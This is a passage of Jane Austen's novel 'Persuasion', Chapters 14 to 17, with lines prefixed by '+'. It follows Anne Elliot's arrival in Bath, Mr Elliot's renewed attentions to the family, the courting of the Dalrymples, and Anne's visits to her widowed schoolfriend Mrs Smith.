+talking with a very raised voice, but from the clamour of the children +on his knees, generally in vain. It was a fine family-piece. + +Anne, judging from her own temperament, would have deemed +such a domestic hurricane a bad restorative of the nerves, +which Louisa's illness must have so greatly shaken. But Mrs Musgrove, +who got Anne near her on purpose to thank her most cordially, +again and again, for all her attentions to them, concluded +a short recapitulation of what she had suffered herself by observing, +with a happy glance round the room, that after all she had gone through, +nothing was so likely to do her good as a little quiet cheerfulness +at home. + +Louisa was now recovering apace. Her mother could even think of her +being able to join their party at home, before her brothers and sisters +went to school again. The Harvilles had promised to come with her +and stay at Uppercross, whenever she returned. Captain Wentworth was gone, +for the present, to see his brother in Shropshire. + +"I hope I shall remember, in future," said Lady Russell, as soon as +they were reseated in the carriage, "not to call at Uppercross +in the Christmas holidays." + +Everybody has their taste in noises as well as in other matters; +and sounds are quite innoxious, or most distressing, by their sort +rather than their quantity. When Lady Russell not long afterwards, +was entering Bath on a wet afternoon, and driving through +the long course of streets from the Old Bridge to Camden Place, +amidst the dash of other carriages, the heavy rumble of carts and drays, +the bawling of newspapermen, muffin-men and milkmen, and the ceaseless +clink of pattens, she made no complaint. No, these were noises +which belonged to the winter pleasures; her spirits rose +under their influence; and like Mrs Musgrove, she was feeling, +though not saying, that after being long in the country, nothing could be +so good for her as a little quiet cheerfulness. + +Anne did not share these feelings. She persisted in a very determined, +though very silent disinclination for Bath; caught the first dim view +of the extensive buildings, smoking in rain, without any wish +of seeing them better; felt their progress through the streets to be, +however disagreeable, yet too rapid; for who would be glad to see her +when she arrived? And looked back, with fond regret, to the bustles +of Uppercross and the seclusion of Kellynch. + +Elizabeth's last letter had communicated a piece of news of some interest. +Mr Elliot was in Bath. He had called in Camden Place; had called +a second time, a third; had been pointedly attentive. If Elizabeth +and her father did not deceive themselves, had been taking much pains +to seek the acquaintance, and proclaim the value of the connection, +as he had formerly taken pains to shew neglect. This was very wonderful +if it were true; and Lady Russell was in a state of very agreeable +curiosity and perplexity about Mr Elliot, already recanting the sentiment +she had so lately expressed to Mary, of his being "a man whom she had +no wish to see." She had a great wish to see him. If he really sought +to reconcile himself like a dutiful branch, he must be forgiven +for having dismembered himself from the paternal tree. + +Anne was not animated to an equal pitch by the circumstance, +but she felt that she would rather see Mr Elliot again than not, +which was more than she could say for many other persons in Bath. + +She was put down in Camden Place; and Lady Russell then drove +to her own lodgings, in Rivers Street. + + + +Chapter 15 + + +Sir Walter had taken a very good house in Camden Place, +a lofty dignified situation, such as becomes a man of consequence; +and both he and Elizabeth were settled there, much to their satisfaction. + +Anne entered it with a sinking heart, anticipating an imprisonment +of many months, and anxiously saying to herself, "Oh! when shall I +leave you again?" A degree of unexpected cordiality, however, +in the welcome she received, did her good. Her father and sister +were glad to see her, for the sake of shewing her the house and furniture, +and met her with kindness. Her making a fourth, when they +sat down to dinner, was noticed as an advantage. + +Mrs Clay was very pleasant, and very smiling, but her courtesies and smiles +were more a matter of course. Anne had always felt that she would +pretend what was proper on her arrival, but the complaisance of the others +was unlooked for. They were evidently in excellent spirits, +and she was soon to listen to the causes. They had no inclination +to listen to her. After laying out for some compliments of being +deeply regretted in their old neighbourhood, which Anne could not pay, +they had only a few faint enquiries to make, before the talk must be +all their own. Uppercross excited no interest, Kellynch very little: +it was all Bath. + +They had the pleasure of assuring her that Bath more than answered +their expectations in every respect. Their house was undoubtedly +the best in Camden Place; their drawing-rooms had many decided advantages +over all the others which they had either seen or heard of, +and the superiority was not less in the style of the fitting-up, +or the taste of the furniture. Their acquaintance was +exceedingly sought after. Everybody was wanting to visit them. +They had drawn back from many introductions, and still were +perpetually having cards left by people of whom they knew nothing. + +Here were funds of enjoyment. Could Anne wonder that her father +and sister were happy? She might not wonder, but she must sigh +that her father should feel no degradation in his change, should see +nothing to regret in the duties and dignity of the resident landholder, +should find so much to be vain of in the littlenesses of a town; +and she must sigh, and smile, and wonder too, as Elizabeth threw open +the folding-doors and walked with exultation from one drawing-room +to the other, boasting of their space; at the possibility of that woman, +who had been mistress of Kellynch Hall, finding extent to be proud of +between two walls, perhaps thirty feet asunder. + +But this was not all which they had to make them happy. +They had Mr Elliot too. Anne had a great deal to hear of Mr Elliot. +He was not only pardoned, they were delighted with him. +He had been in Bath about a fortnight; (he had passed through Bath +in November, in his way to London, when the intelligence of +Sir Walter's being settled there had of course reached him, +though only twenty-four hours in the place, but he had not been able +to avail himself of it;) but he had now been a fortnight in Bath, +and his first object on arriving, had been to leave his card +in Camden Place, following it up by such assiduous endeavours to meet, +and when they did meet, by such great openness of conduct, +such readiness to apologize for the past, such solicitude to be received +as a relation again, that their former good understanding +was completely re-established. + +They had not a fault to find in him. He had explained away +all the appearance of neglect on his own side. It had originated +in misapprehension entirely. He had never had an idea of +throwing himself off; he had feared that he was thrown off, +but knew not why, and delicacy had kept him silent. Upon the hint +of having spoken disrespectfully or carelessly of the family +and the family honours, he was quite indignant. He, who had ever boasted +of being an Elliot, and whose feelings, as to connection, +were only too strict to suit the unfeudal tone of the present day. +He was astonished, indeed, but his character and general conduct +must refute it. He could refer Sir Walter to all who knew him; +and certainly, the pains he had been taking on this, the first opportunity +of reconciliation, to be restored to the footing of a relation +and heir-presumptive, was a strong proof of his opinions on the subject. + +The circumstances of his marriage, too, were found to admit of +much extenuation. This was an article not to be entered on by himself; +but a very intimate friend of his, a Colonel Wallis, a highly +respectable man, perfectly the gentleman, (and not an ill-looking man, +Sir Walter added), who was living in very good style in Marlborough +Buildings, and had, at his own particular request, been admitted +to their acquaintance through Mr Elliot, had mentioned one or two things +relative to the marriage, which made a material difference +in the discredit of it. + +Colonel Wallis had known Mr Elliot long, had been well acquainted +also with his wife, had perfectly understood the whole story. +She was certainly not a woman of family, but well educated, +accomplished, rich, and excessively in love with his friend. +There had been the charm. She had sought him. Without that attraction, +not all her money would have tempted Elliot, and Sir Walter was, +moreover, assured of her having been a very fine woman. +Here was a great deal to soften the business. A very fine woman +with a large fortune, in love with him! Sir Walter seemed to admit it +as complete apology; and though Elizabeth could not see the circumstance +in quite so favourable a light, she allowed it be a great extenuation. + +Mr Elliot had called repeatedly, had dined with them once, +evidently delighted by the distinction of being asked, for they +gave no dinners in general; delighted, in short, by every proof +of cousinly notice, and placing his whole happiness in being +on intimate terms in Camden Place. + +Anne listened, but without quite understanding it. Allowances, +large allowances, she knew, must be made for the ideas of those who spoke. +She heard it all under embellishment. All that sounded extravagant +or irrational in the progress of the reconciliation might have no origin +but in the language of the relators. Still, however, she had +the sensation of there being something more than immediately appeared, +in Mr Elliot's wishing, after an interval of so many years, +to be well received by them. In a worldly view, he had nothing to gain +by being on terms with Sir Walter; nothing to risk by a state of variance. +In all probability he was already the richer of the two, +and the Kellynch estate would as surely be his hereafter as the title. +A sensible man, and he had looked like a very sensible man, +why should it be an object to him? She could only offer one solution; +it was, perhaps, for Elizabeth's sake. There might really have been +a liking formerly, though convenience and accident had drawn him +a different way; and now that he could afford to please himself, +he might mean to pay his addresses to her. Elizabeth was certainly +very handsome, with well-bred, elegant manners, and her character +might never have been penetrated by Mr Elliot, knowing her but in public, +and when very young himself. How her temper and understanding +might bear the investigation of his present keener time of life +was another concern and rather a fearful one. Most earnestly did she wish +that he might not be too nice, or too observant if Elizabeth +were his object; and that Elizabeth was disposed to believe herself so, +and that her friend Mrs Clay was encouraging the idea, seemed apparent +by a glance or two between them, while Mr Elliot's frequent visits +were talked of. + +Anne mentioned the glimpses she had had of him at Lyme, but without +being much attended to. "Oh! yes, perhaps, it had been Mr Elliot. +They did not know. It might be him, perhaps." They could not listen +to her description of him. They were describing him themselves; +Sir Walter especially. He did justice to his very gentlemanlike +appearance, his air of elegance and fashion, his good shaped face, +his sensible eye; but, at the same time, "must lament his being +very much under-hung, a defect which time seemed to have increased; +nor could he pretend to say that ten years had not altered +almost every feature for the worse. Mr Elliot appeared to think +that he (Sir Walter) was looking exactly as he had done when +they last parted;" but Sir Walter had "not been able to return +the compliment entirely, which had embarrassed him. He did not mean +to complain, however. Mr Elliot was better to look at than most men, +and he had no objection to being seen with him anywhere." + +Mr Elliot, and his friends in Marlborough Buildings, were talked of +the whole evening. "Colonel Wallis had been so impatient to be +introduced to them! and Mr Elliot so anxious that he should!" +and there was a Mrs Wallis, at present known only to them by description, +as she was in daily expectation of her confinement; but Mr Elliot +spoke of her as "a most charming woman, quite worthy of being known +in Camden Place," and as soon as she recovered they were to be acquainted. +Sir Walter thought much of Mrs Wallis; she was said to be +an excessively pretty woman, beautiful. "He longed to see her. +He hoped she might make some amends for the many very plain faces +he was continually passing in the streets. The worst of Bath was +the number of its plain women. He did not mean to say that there were +no pretty women, but the number of the plain was out of all proportion. +He had frequently observed, as he walked, that one handsome face +would be followed by thirty, or five-and-thirty frights; and once, +as he had stood in a shop on Bond Street, he had counted +eighty-seven women go by, one after another, without there being +a tolerable face among them. It had been a frosty morning, +to be sure, a sharp frost, which hardly one woman in a thousand +could stand the test of. But still, there certainly were +a dreadful multitude of ugly women in Bath; and as for the men! +they were infinitely worse. Such scarecrows as the streets were full of! +It was evident how little the women were used to the sight of anything +tolerable, by the effect which a man of decent appearance produced. +He had never walked anywhere arm-in-arm with Colonel Wallis +(who was a fine military figure, though sandy-haired) without observing +that every woman's eye was upon him; every woman's eye was sure to be +upon Colonel Wallis." Modest Sir Walter! He was not allowed +to escape, however. His daughter and Mrs Clay united in hinting +that Colonel Wallis's companion might have as good a figure +as Colonel Wallis, and certainly was not sandy-haired. + +"How is Mary looking?" said Sir Walter, in the height of his good humour. +"The last time I saw her she had a red nose, but I hope that may not +happen every day." + +"Oh! no, that must have been quite accidental. In general she has been +in very good health and very good looks since Michaelmas." + +"If I thought it would not tempt her to go out in sharp winds, +and grow coarse, I would send her a new hat and pelisse." + +Anne was considering whether she should venture to suggest that a gown, +or a cap, would not be liable to any such misuse, when a knock at the door +suspended everything. "A knock at the door! and so late! +It was ten o'clock. Could it be Mr Elliot? They knew he was to dine +in Lansdown Crescent. It was possible that he might stop in his way home +to ask them how they did. They could think of no one else. +Mrs Clay decidedly thought it Mr Elliot's knock." Mrs Clay was right. +With all the state which a butler and foot-boy could give, +Mr Elliot was ushered into the room. + +It was the same, the very same man, with no difference but of dress. +Anne drew a little back, while the others received his compliments, +and her sister his apologies for calling at so unusual an hour, +but "he could not be so near without wishing to know that neither she +nor her friend had taken cold the day before," &c. &c; which was +all as politely done, and as politely taken, as possible, but her part +must follow then. Sir Walter talked of his youngest daughter; +"Mr Elliot must give him leave to present him to his youngest daughter" +(there was no occasion for remembering Mary); and Anne, smiling and +blushing, very becomingly shewed to Mr Elliot the pretty features +which he had by no means forgotten, and instantly saw, with amusement +at his little start of surprise, that he had not been at all aware +of who she was. He looked completely astonished, but not more astonished +than pleased; his eyes brightened! and with the most perfect alacrity +he welcomed the relationship, alluded to the past, and entreated +to be received as an acquaintance already. He was quite as good-looking +as he had appeared at Lyme, his countenance improved by speaking, +and his manners were so exactly what they ought to be, so polished, +so easy, so particularly agreeable, that she could compare them +in excellence to only one person's manners. They were not the same, +but they were, perhaps, equally good. + +He sat down with them, and improved their conversation very much. +There could be no doubt of his being a sensible man. Ten minutes +were enough to certify that. His tone, his expressions, +his choice of subject, his knowing where to stop; it was all +the operation of a sensible, discerning mind. As soon as he could, +he began to talk to her of Lyme, wanting to compare opinions +respecting the place, but especially wanting to speak of the circumstance +of their happening to be guests in the same inn at the same time; +to give his own route, understand something of hers, and regret that +he should have lost such an opportunity of paying his respects to her. +She gave him a short account of her party and business at Lyme. +His regret increased as he listened. He had spent his whole +solitary evening in the room adjoining theirs; had heard voices, +mirth continually; thought they must be a most delightful set of people, +longed to be with them, but certainly without the smallest suspicion +of his possessing the shadow of a right to introduce himself. +If he had but asked who the party were! The name of Musgrove would +have told him enough. "Well, it would serve to cure him of +an absurd practice of never asking a question at an inn, +which he had adopted, when quite a young man, on the principal +of its being very ungenteel to be curious. + +"The notions of a young man of one or two and twenty," said he, +"as to what is necessary in manners to make him quite the thing, +are more absurd, I believe, than those of any other set of beings +in the world. The folly of the means they often employ +is only to be equalled by the folly of what they have in view." + +But he must not be addressing his reflections to Anne alone: +he knew it; he was soon diffused again among the others, +and it was only at intervals that he could return to Lyme. + +His enquiries, however, produced at length an account of the scene +she had been engaged in there, soon after his leaving the place. +Having alluded to "an accident," he must hear the whole. +When he questioned, Sir Walter and Elizabeth began to question also, +but the difference in their manner of doing it could not be unfelt. +She could only compare Mr Elliot to Lady Russell, in the wish +of really comprehending what had passed, and in the degree of concern +for what she must have suffered in witnessing it. + +He staid an hour with them. The elegant little clock on the mantel- +piece had struck "eleven with its silver sounds," and the watchman +was beginning to be heard at a distance telling the same tale, +before Mr Elliot or any of them seemed to feel that he had been there long. + +Anne could not have supposed it possible that her first evening in +Camden Place could have passed so well! + + + +Chapter 16 + + +There was one point which Anne, on returning to her family, +would have been more thankful to ascertain even than Mr Elliot's +being in love with Elizabeth, which was, her father's not being +in love with Mrs Clay; and she was very far from easy about it, +when she had been at home a few hours. On going down to breakfast +the next morning, she found there had just been a decent pretence +on the lady's side of meaning to leave them. She could imagine Mrs Clay +to have said, that "now Miss Anne was come, she could not suppose herself +at all wanted;" for Elizabeth was replying in a sort of whisper, +"That must not be any reason, indeed. I assure you I feel it none. +She is nothing to me, compared with you;" and she was in full time +to hear her father say, "My dear madam, this must not be. As yet, +you have seen nothing of Bath. You have been here only to be useful. +You must not run away from us now. You must stay to be acquainted +with Mrs Wallis, the beautiful Mrs Wallis. To your fine mind, +I well know the sight of beauty is a real gratification." + +He spoke and looked so much in earnest, that Anne was not surprised +to see Mrs Clay stealing a glance at Elizabeth and herself. +Her countenance, perhaps, might express some watchfulness; +but the praise of the fine mind did not appear to excite a thought +in her sister. The lady could not but yield to such joint entreaties, +and promise to stay. + +In the course of the same morning, Anne and her father chancing to be +alone together, he began to compliment her on her improved looks; +he thought her "less thin in her person, in her cheeks; her skin, +her complexion, greatly improved; clearer, fresher. Had she been +using any thing in particular?" "No, nothing." "Merely Gowland," +he supposed. "No, nothing at all." "Ha! he was surprised at that;" +and added, "certainly you cannot do better than to continue as you are; +you cannot be better than well; or I should recommend Gowland, +the constant use of Gowland, during the spring months. Mrs Clay has been +using it at my recommendation, and you see what it has done for her. +You see how it has carried away her freckles." + +If Elizabeth could but have heard this! Such personal praise +might have struck her, especially as it did not appear to Anne +that the freckles were at all lessened. But everything must +take its chance. The evil of a marriage would be much diminished, +if Elizabeth were also to marry. As for herself, she might always +command a home with Lady Russell. + +Lady Russell's composed mind and polite manners were put to some trial +on this point, in her intercourse in Camden Place. The sight of Mrs Clay +in such favour, and of Anne so overlooked, was a perpetual provocation +to her there; and vexed her as much when she was away, as a person in Bath +who drinks the water, gets all the new publications, and has +a very large acquaintance, has time to be vexed. + +As Mr Elliot became known to her, she grew more charitable, +or more indifferent, towards the others. His manners were +an immediate recommendation; and on conversing with him she found +the solid so fully supporting the superficial, that she was at first, +as she told Anne, almost ready to exclaim, "Can this be Mr Elliot?" +and could not seriously picture to herself a more agreeable +or estimable man. Everything united in him; good understanding, +correct opinions, knowledge of the world, and a warm heart. +He had strong feelings of family attachment and family honour, +without pride or weakness; he lived with the liberality of a man of fortune, +without display; he judged for himself in everything essential, +without defying public opinion in any point of worldly decorum. +He was steady, observant, moderate, candid; never run away with by spirits +or by selfishness, which fancied itself strong feeling; and yet, +with a sensibility to what was amiable and lovely, and a value +for all the felicities of domestic life, which characters of +fancied enthusiasm and violent agitation seldom really possess. +She was sure that he had not been happy in marriage. Colonel Wallis +said it, and Lady Russell saw it; but it had been no unhappiness +to sour his mind, nor (she began pretty soon to suspect) to prevent his +thinking of a second choice. Her satisfaction in Mr Elliot +outweighed all the plague of Mrs Clay. + +It was now some years since Anne had begun to learn that she +and her excellent friend could sometimes think differently; +and it did not surprise her, therefore, that Lady Russell +should see nothing suspicious or inconsistent, nothing to require +more motives than appeared, in Mr Elliot's great desire of a reconciliation. +In Lady Russell's view, it was perfectly natural that Mr Elliot, +at a mature time of life, should feel it a most desirable object, +and what would very generally recommend him among all sensible people, +to be on good terms with the head of his family; the simplest process +in the world of time upon a head naturally clear, and only erring +in the heyday of youth. Anne presumed, however, still to smile about it, +and at last to mention "Elizabeth." Lady Russell listened, and looked, +and made only this cautious reply:--"Elizabeth! very well; +time will explain." + +It was a reference to the future, which Anne, after a little observation, +felt she must submit to. She could determine nothing at present. +In that house Elizabeth must be first; and she was in the habit +of such general observance as "Miss Elliot," that any particularity +of attention seemed almost impossible. Mr Elliot, too, +it must be remembered, had not been a widower seven months. +A little delay on his side might be very excusable. In fact, +Anne could never see the crape round his hat, without fearing that +she was the inexcusable one, in attributing to him such imaginations; +for though his marriage had not been very happy, still it had existed +so many years that she could not comprehend a very rapid recovery +from the awful impression of its being dissolved. + +However it might end, he was without any question their +pleasantest acquaintance in Bath: she saw nobody equal to him; +and it was a great indulgence now and then to talk to him about Lyme, +which he seemed to have as lively a wish to see again, and to see more of, +as herself. They went through the particulars of their first meeting +a great many times. He gave her to understand that he had +looked at her with some earnestness. She knew it well; +and she remembered another person's look also. + +They did not always think alike. His value for rank and connexion +she perceived was greater than hers. It was not merely complaisance, +it must be a liking to the cause, which made him enter warmly +into her father and sister's solicitudes on a subject which +she thought unworthy to excite them. The Bath paper one morning +announced the arrival of the Dowager Viscountess Dalrymple, +and her daughter, the Honourable Miss Carteret; and all the comfort +of No.--, Camden Place, was swept away for many days; for the Dalrymples +(in Anne's opinion, most unfortunately) were cousins of the Elliots; +and the agony was how to introduce themselves properly. + +Anne had never seen her father and sister before in contact with nobility, +and she must acknowledge herself disappointed. She had hoped +better things from their high ideas of their own situation in life, +and was reduced to form a wish which she had never foreseen; +a wish that they had more pride; for "our cousins Lady Dalrymple +and Miss Carteret;" "our cousins, the Dalrymples," sounded in her ears +all day long. + +Sir Walter had once been in company with the late viscount, +but had never seen any of the rest of the family; and the difficulties +of the case arose from there having been a suspension of all intercourse +by letters of ceremony, ever since the death of that said late viscount, +when, in consequence of a dangerous illness of Sir Walter's +at the same time, there had been an unlucky omission at Kellynch. +No letter of condolence had been sent to Ireland. The neglect +had been visited on the head of the sinner; for when poor Lady Elliot +died herself, no letter of condolence was received at Kellynch, +and, consequently, there was but too much reason to apprehend +that the Dalrymples considered the relationship as closed. +How to have this anxious business set to rights, and be admitted +as cousins again, was the question: and it was a question which, +in a more rational manner, neither Lady Russell nor Mr Elliot +thought unimportant. "Family connexions were always worth preserving, +good company always worth seeking; Lady Dalrymple had taken a house, +for three months, in Laura Place, and would be living in style. +She had been at Bath the year before, and Lady Russell had heard her +spoken of as a charming woman. It was very desirable that +the connexion should be renewed, if it could be done, without any +compromise of propriety on the side of the Elliots." + +Sir Walter, however, would choose his own means, and at last wrote +a very fine letter of ample explanation, regret, and entreaty, +to his right honourable cousin. Neither Lady Russell nor Mr Elliot +could admire the letter; but it did all that was wanted, +in bringing three lines of scrawl from the Dowager Viscountess. +"She was very much honoured, and should be happy in their acquaintance." +The toils of the business were over, the sweets began. They visited +in Laura Place, they had the cards of Dowager Viscountess Dalrymple, +and the Honourable Miss Carteret, to be arranged wherever they might +be most visible: and "Our cousins in Laura Place,"--"Our cousin, +Lady Dalrymple and Miss Carteret," were talked of to everybody. + +Anne was ashamed. Had Lady Dalrymple and her daughter even been +very agreeable, she would still have been ashamed of the agitation +they created, but they were nothing. There was no superiority of manner, +accomplishment, or understanding. Lady Dalrymple had acquired +the name of "a charming woman," because she had a smile and a civil answer +for everybody. Miss Carteret, with still less to say, was so plain +and so awkward, that she would never have been tolerated in Camden Place +but for her birth. + +Lady Russell confessed she had expected something better; but yet +"it was an acquaintance worth having;" and when Anne ventured to speak +her opinion of them to Mr Elliot, he agreed to their being nothing +in themselves, but still maintained that, as a family connexion, +as good company, as those who would collect good company around them, +they had their value. Anne smiled and said, + +"My idea of good company, Mr Elliot, is the company of clever, +well-informed people, who have a great deal of conversation; +that is what I call good company." + +"You are mistaken," said he gently, "that is not good company; +that is the best. Good company requires only birth, education, +and manners, and with regard to education is not very nice. +Birth and good manners are essential; but a little learning is +by no means a dangerous thing in good company; on the contrary, +it will do very well. My cousin Anne shakes her head. +She is not satisfied. She is fastidious. My dear cousin" +(sitting down by her), "you have a better right to be fastidious +than almost any other woman I know; but will it answer? +Will it make you happy? Will it not be wiser to accept the society +of those good ladies in Laura Place, and enjoy all the advantages +of the connexion as far as possible? You may depend upon it, +that they will move in the first set in Bath this winter, +and as rank is rank, your being known to be related to them +will have its use in fixing your family (our family let me say) +in that degree of consideration which we must all wish for." + +"Yes," sighed Anne, "we shall, indeed, be known to be related to them!" +then recollecting herself, and not wishing to be answered, she added, +"I certainly do think there has been by far too much trouble taken +to procure the acquaintance. I suppose" (smiling) "I have more pride +than any of you; but I confess it does vex me, that we should be +so solicitous to have the relationship acknowledged, which we may +be very sure is a matter of perfect indifference to them." + +"Pardon me, dear cousin, you are unjust in your own claims. +In London, perhaps, in your present quiet style of living, +it might be as you say: but in Bath; Sir Walter Elliot and his family +will always be worth knowing: always acceptable as acquaintance." + +"Well," said Anne, "I certainly am proud, too proud to enjoy a welcome +which depends so entirely upon place." + +"I love your indignation," said he; "it is very natural. +But here you are in Bath, and the object is to be established here +with all the credit and dignity which ought to belong to Sir Walter Elliot. +You talk of being proud; I am called proud, I know, and I shall not wish +to believe myself otherwise; for our pride, if investigated, +would have the same object, I have no doubt, though the kind may seem +a little different. In one point, I am sure, my dear cousin," +(he continued, speaking lower, though there was no one else in the room) +"in one point, I am sure, we must feel alike. We must feel that +every addition to your father's society, among his equals or superiors, +may be of use in diverting his thoughts from those who are beneath him." + +He looked, as he spoke, to the seat which Mrs Clay had been +lately occupying: a sufficient explanation of what he particularly meant; +and though Anne could not believe in their having the same sort of pride, +she was pleased with him for not liking Mrs Clay; and her conscience +admitted that his wishing to promote her father's getting +great acquaintance was more than excusable in the view of defeating her. + + + +Chapter 17 + + +While Sir Walter and Elizabeth were assiduously pushing their +good fortune in Laura Place, Anne was renewing an acquaintance +of a very different description. + +She had called on her former governess, and had heard from her +of there being an old school-fellow in Bath, who had the two strong claims +on her attention of past kindness and present suffering. Miss Hamilton, +now Mrs Smith, had shewn her kindness in one of those periods of her life +when it had been most valuable. Anne had gone unhappy to school, +grieving for the loss of a mother whom she had dearly loved, +feeling her separation from home, and suffering as a girl of fourteen, +of strong sensibility and not high spirits, must suffer at such a time; +and Miss Hamilton, three years older than herself, but still from the want +of near relations and a settled home, remaining another year at school, +had been useful and good to her in a way which had considerably lessened +her misery, and could never be remembered with indifference. + +Miss Hamilton had left school, had married not long afterwards, +was said to have married a man of fortune, and this was all +that Anne had known of her, till now that their governess's account +brought her situation forward in a more decided but very different form. + +She was a widow and poor. Her husband had been extravagant; +and at his death, about two years before, had left his affairs +dreadfully involved. She had had difficulties of every sort +to contend with, and in addition to these distresses had been afflicted +with a severe rheumatic fever, which, finally settling in her legs, +had made her for the present a cripple. She had come to Bath +on that account, and was now in lodgings near the hot baths, +living in a very humble way, unable even to afford herself +the comfort of a servant, and of course almost excluded from society. + +Their mutual friend answered for the satisfaction which a visit +from Miss Elliot would give Mrs Smith, and Anne therefore +lost no time in going. She mentioned nothing of what she had heard, +or what she intended, at home. It would excite no proper interest there. +She only consulted Lady Russell, who entered thoroughly into her sentiments, +and was most happy to convey her as near to Mrs Smith's lodgings +in Westgate Buildings, as Anne chose to be taken. + +The visit was paid, their acquaintance re-established, their interest +in each other more than re-kindled. The first ten minutes +had its awkwardness and its emotion. Twelve years were gone +since they had parted, and each presented a somewhat different person +from what the other had imagined. Twelve years had changed Anne +from the blooming, silent, unformed girl of fifteen, to the elegant +little woman of seven-and-twenty, with every beauty except bloom, +and with manners as consciously right as they were invariably gentle; +and twelve years had transformed the fine-looking, well-grown Miss Hamilton, +in all the glow of health and confidence of superiority, into a poor, +infirm, helpless widow, receiving the visit of her former protegee +as a favour; but all that was uncomfortable in the meeting had soon +passed away, and left only the interesting charm of remembering +former partialities and talking over old times. + +Anne found in Mrs Smith the good sense and agreeable manners which +she had almost ventured to depend on, and a disposition to converse +and be cheerful beyond her expectation. Neither the dissipations +of the past--and she had lived very much in the world--nor the restrictions +of the present, neither sickness nor sorrow seemed to have +closed her heart or ruined her spirits. + +In the course of a second visit she talked with great openness, +and Anne's astonishment increased. She could scarcely imagine +a more cheerless situation in itself than Mrs Smith's. She had been +very fond of her husband: she had buried him. She had been +used to affluence: it was gone. She had no child to connect her +with life and happiness again, no relations to assist in the arrangement +of perplexed affairs, no health to make all the rest supportable. +Her accommodations were limited to a noisy parlour, and a dark bedroom +behind, with no possibility of moving from one to the other without +assistance, which there was only one servant in the house to afford, +and she never quitted the house but to be conveyed into the warm bath. +Yet, in spite of all this, Anne had reason to believe that she had +moments only of languor and depression, to hours of occupation +and enjoyment. How could it be? She watched, observed, reflected, +and finally determined that this was not a case of fortitude +or of resignation only. A submissive spirit might be patient, +a strong understanding would supply resolution, but here was something more; +here was that elasticity of mind, that disposition to be comforted, +that power of turning readily from evil to good, and of finding employment +which carried her out of herself, which was from nature alone. +It was the choicest gift of Heaven; and Anne viewed her friend +as one of those instances in which, by a merciful appointment, +it seems designed to counterbalance almost every other want. + +There had been a time, Mrs Smith told her, when her spirits +had nearly failed. She could not call herself an invalid now, +compared with her state on first reaching Bath. Then she had, indeed, +been a pitiable object; for she had caught cold on the journey, +and had hardly taken possession of her lodgings before she was again +confined to her bed and suffering under severe and constant pain; +and all this among strangers, with the absolute necessity of having +a regular nurse, and finances at that moment particularly unfit +to meet any extraordinary expense. She had weathered it, however, +and could truly say that it had done her good. It had increased +her comforts by making her feel herself to be in good hands. +She had seen too much of the world, to expect sudden or disinterested +attachment anywhere, but her illness had proved to her that her landlady +had a character to preserve, and would not use her ill; and she had been +particularly fortunate in her nurse, as a sister of her landlady, +a nurse by profession, and who had always a home in that house +when unemployed, chanced to be at liberty just in time to attend her. +"And she," said Mrs Smith, "besides nursing me most admirably, +has really proved an invaluable acquaintance. As soon as I could +use my hands she taught me to knit, which has been a great amusement; +and she put me in the way of making these little thread-cases, +pin-cushions and card-racks, which you always find me so busy about, +and which supply me with the means of doing a little good +to one or two very poor families in this neighbourhood. +She had a large acquaintance, of course professionally, among those +who can afford to buy, and she disposes of my merchandise. +She always takes the right time for applying. Everybody's heart is open, +you know, when they have recently escaped from severe pain, +or are recovering the blessing of health, and Nurse Rooke +thoroughly understands when to speak. She is a shrewd, intelligent, +sensible woman. Hers is a line for seeing human nature; and she has +a fund of good sense and observation, which, as a companion, make her +infinitely superior to thousands of those who having only received +`the best education in the world,' know nothing worth attending to. +Call it gossip, if you will, but when Nurse Rooke has half an hour's +leisure to bestow on me, she is sure to have something to relate +that is entertaining and profitable: something that makes one +know one's species better. One likes to hear what is going on, +to be au fait as to the newest modes of being trifling and silly. +To me, who live so much alone, her conversation, I assure you, is a treat." + +Anne, far from wishing to cavil at the pleasure, replied, +"I can easily believe it. Women of that class have great opportunities, +and if they are intelligent may be well worth listening to. +Such varieties of human nature as they are in the habit of witnessing! +And it is not merely in its follies, that they are well read; +for they see it occasionally under every circumstance that can be +most interesting or affecting. What instances must pass before them +of ardent, disinterested, self-denying attachment, of heroism, fortitude, +patience, resignation: of all the conflicts and all the sacrifices +that ennoble us most. A sick chamber may often furnish +the worth of volumes." + +"Yes," said Mrs Smith more doubtingly, "sometimes it may, +though I fear its lessons are not often in the elevated style you describe. +Here and there, human nature may be great in times of trial; +but generally speaking, it is its weakness and not its strength +that appears in a sick chamber: it is selfishness and impatience +rather than generosity and fortitude, that one hears of. +There is so little real friendship in the world! and unfortunately" +(speaking low and tremulously) "there are so many who forget +to think seriously till it is almost too late." + +Anne saw the misery of such feelings. The husband had not been +what he ought, and the wife had been led among that part of mankind +which made her think worse of the world than she hoped it deserved. +It was but a passing emotion however with Mrs Smith; she shook it off, +and soon added in a different tone-- + +"I do not suppose the situation my friend Mrs Rooke is in at present, +will furnish much either to interest or edify me. She is only nursing +Mrs Wallis of Marlborough Buildings; a mere pretty, silly, expensive, +fashionable woman, I believe; and of course will have nothing to report +but of lace and finery. I mean to make my profit of Mrs Wallis, however. +She has plenty of money, and I intend she shall buy all +the high-priced things I have in hand now." + +Anne had called several times on her friend, before the existence +of such a person was known in Camden Place. At last, it became necessary +to speak of her. Sir Walter, Elizabeth and Mrs Clay, returned one morning +from Laura Place, with a sudden invitation from Lady Dalrymple +for the same evening, and Anne was already engaged, to spend that evening +in Westgate Buildings. She was not sorry for the excuse. +They were only asked, she was sure, because Lady Dalrymple being +kept at home by a bad cold, was glad to make use of the relationship +which had been so pressed on her; and she declined on her own account +with great alacrity--"She was engaged to spend the evening +with an old schoolfellow." They were not much interested in anything +relative to Anne; but still there were questions enough asked, +to make it understood what this old schoolfellow was; and Elizabeth +was disdainful, and Sir Walter severe. + +"Westgate Buildings!" said he, "and who is Miss Anne Elliot +to be visiting in Westgate Buildings? A Mrs Smith. A widow Mrs Smith; +and who was her husband? One of five thousand Mr Smiths whose names +are to be met with everywhere. And what is her attraction? +That she is old and sickly. Upon my word, Miss Anne Elliot, +you have the most extraordinary taste! Everything that revolts +other people, low company, paltry rooms, foul air, disgusting associations +are inviting to you. But surely you may put off this old lady +till to-morrow: she is not so near her end, I presume, +but that she may hope to see another day. What is her age? Forty?" + +"No, sir, she is not one-and-thirty; but I do not think I can +put off my engagement, because it is the only evening for some time +which will at once suit her and myself. She goes into the warm bath +to-morrow, and for the rest of the week, you know, we are engaged." + +"But what does Lady Russell think of this acquaintance?" asked Elizabeth. + +"She sees nothing to blame in it," replied Anne; "on the contrary, +she approves it, and has generally taken me when I have +called on Mrs Smith. + +"Westgate Buildings must have been rather surprised by the appearance +of a carriage drawn up near its pavement," observed Sir Walter. +"Sir Henry Russell's widow, indeed, has no 